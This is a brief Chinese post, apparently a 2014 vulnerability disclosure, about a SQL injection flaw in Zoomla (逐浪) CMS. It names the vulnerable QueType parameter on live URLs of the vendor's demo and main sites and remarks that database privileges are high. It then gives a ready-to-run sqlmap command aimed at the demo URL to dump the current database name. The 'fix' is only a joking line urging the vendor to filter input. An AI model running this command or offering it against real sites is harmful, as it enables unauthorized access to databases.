逐浪cms通用型Sql注入漏洞及漏洞修复方案2014下载

逐浪cms通用型Sql注入漏洞及漏洞修复方案2014

Url:http://demo.zoomla.cn/Guest/Ask/MyAskList.aspx?QueType=

http://www.zoomla.cn/guest/Ask/MyAskList.aspx?QueType=

参数QueType

权限太大啊，妥妥低。

sqlmap.py -u "http://demo.zoomla.cn/Guest/Ask/MyAskList.aspx?

QueType=1" -v 1 --current-db

修复方案：

赶快过滤吧，黑客大牛们手下留情，哈哈